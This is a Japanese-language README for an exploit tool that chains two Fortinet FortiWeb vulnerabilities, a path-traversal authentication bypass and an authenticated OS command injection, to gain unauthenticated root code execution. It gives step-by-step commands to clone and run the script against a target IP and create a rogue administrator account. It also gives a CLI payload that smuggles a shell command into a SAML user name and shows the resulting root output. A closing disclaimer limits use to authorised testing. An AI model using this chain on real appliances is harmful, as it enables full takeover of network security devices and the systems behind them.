
FortiWeb のリモートコード実行(RCE)エクスプロイト(CVE-2025-64446 + CVE-2025-58034 チェーン経由)
このスクリプトは、Fortinet FortiWeb の2つの重要な脆弱性を連鎖させ、認証なしのリモートコード実行 を root 権限で達成します。
CVE-2025-64446 – Relative Path Traversal による認証バイパス
認証されていない攻撃者が認証をバイパスし、新しい管理アカウントを作成することを可能にします。
CVE-2025-58034 – 認証済み OS コマンドインジェクション
認証された攻撃者(手順1で作成したアカウントを使用)は、細工された HTTP リクエストを介して root として任意の OS コマンドを実行できます。
これら2つの脆弱性を組み合わせることで、攻撃者は事前の認証情報なしに、ゼロアクセスから完全なシステム侵害に至ることができます。
最終的な影響: 認証なしのリモートコード実行(rootシェル相当)
統合攻撃チェーン:
リポジトリをクローン:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
依存関係をインストール:
pip install -r requirements.txt
フルエクスプロイトを実行(管理者作成+コマンド実行):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: 脆弱な FortiWeb アプライアンスのIPアドレスまたはホスト名。これは必須引数です。-u <username> (オプション): 作成する管理アカウントのカスタムユーザー名を指定します。指定されない場合は UUID が使用されます。-p <password> (オプション): 作成する管理アカウントのカスタムパスワードを指定します。指定されない場合は、ユーザー名がパスワードとして使用されます。例:
python exploit.py 192.168.1.100 -u admin123 -p password456
これは、192.168.1.100 のターゲットアプライアンス上で、ユーザー名 'admin123'、パスワード 'password456' の管理アカウントを作成しようとします。
ユーザー名とパスワードが指定されない場合:
python exploit.py 192.168.1.100
スクリプトはユーザー名にランダムなUUIDを生成し、それをパスワードとして使用します。


新しく作成した管理アカウントで正常にログインした後、攻撃者は特別に細工されたリクエストを介して、または FortiWeb CLI を直接使用して、認証済みのコマンドインジェクション脆弱性を悪用できます。
信頼性の高い悪用方法の1つは、以下の CLI コマンドを使用することです(認証後の FortiWeb コマンドラインインターフェースから実行):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

実行後:
uid=0(root) gid=0(root) が root RCE を確認)免責事項: このツールは、許可されたセキュリティテストおよび教育目的でのみ提供されます。所有していない、または明示的なテスト許可がないシステムに対する不正使用は違法です。